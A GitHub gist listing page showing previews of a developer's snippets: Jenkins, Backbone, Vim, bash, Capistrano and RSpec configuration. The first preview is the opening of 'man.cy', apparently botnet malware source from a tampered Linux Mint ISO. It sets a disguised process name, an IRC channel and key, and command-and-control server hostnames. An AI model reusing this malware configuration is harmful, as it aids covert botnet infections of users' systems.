Skip to content

Instantly share code, notes, and snippets.

View mcspring's full-sized avatar
🎯
Focusing

Mc.Spring mcspring

🎯
Focusing
View GitHub Profile
@mcspring
mcspring / man.cy
Created February 22, 2016 03:27 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@mcspring
mcspring / config.sh
Last active December 31, 2015 21:59
Spring up Rails testing within Jenkins
export LANG=en_US.UTF-8
export RAILS_ENV=test
mkdir -p tmp/miniprofiler
. /var/lib/jenkins/.rvm/environments/ruby-2.0.0-p353
time bundle install 2>&1 > /dev/null
@mcspring
mcspring / backbone.infinitescroll.coffee
Created November 26, 2013 09:53
Infinite scroll support for Backbone.js' collection
_.extend Backbone.Collection.prototype,
options:
infinitescroll:
success: $.noop
error: $.noop
bufferPx: 40
scrollPx: 150
page:
current: 0
per: null

Sublime Text 2 – Useful Shortcuts (Mac OS X)

General

⌘T go to file
⌘⌃P go to project
⌘R go to methods
⌃G go to line
⌘KB toggle side bar
⌘⇧P command prompt
@mcspring
mcspring / README.md
Created October 15, 2013 06:11 — forked from nikcub/README.md

A Capistrano Rails Guide

by Jonathan Rochkind, http://bibwild.wordpress.com

why cap?

Capistrano automates pushing out a new version of your application to a deployment location.

I've been writing and deploying Rails apps for a while, but I avoided using Capistrano until recently. I've got a pretty simple one-host deployment, and even though everyone said Capistrano was great, every time I tried to get started I just got snowed under not being able to figure out exactly what I wanted to do, and figured I wasn't having that much trouble doing it "manually".

@mcspring
mcspring / .vimrc
Created August 28, 2012 01:15
vim configuration
call pathogen#infect()
syntax on
filetype plugin indent on
set background=light
set t_Co=256
colorscheme solarized
set nocompatible
@mcspring
mcspring / .bash_profile
Last active October 8, 2015 11:27
git shell prompt
function parse_git_dirty {
[[ $(git status 2> /dev/null | tail -n1) != "nothing to commit (working directory clean)" ]] && echo "*"
}
function parse_git_branch {
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_dirty)]/"
}
RED="\[\033[0;31m\]"
@mcspring
mcspring / gist:3174306
Created July 25, 2012 04:01
Write functionality jQuery code with coffeescript
# utils
global_function ->
# do something...
# if your function is a *process*, known as do not return anything, plus true as the last statement!
jQuery ($) ->
# global events bind 1
el1 = $ 'selector1'
el1.on 'event', (evt) ->
@mcspring
mcspring / authentication_pages_spec.rb
Created June 2, 2012 04:00
Organize rspec integration testing
require 'spec_helper'
describe "Authentication" do
subject { page }
describe "Signin" do
describe "Page" do
before :each do
visit signin_path
end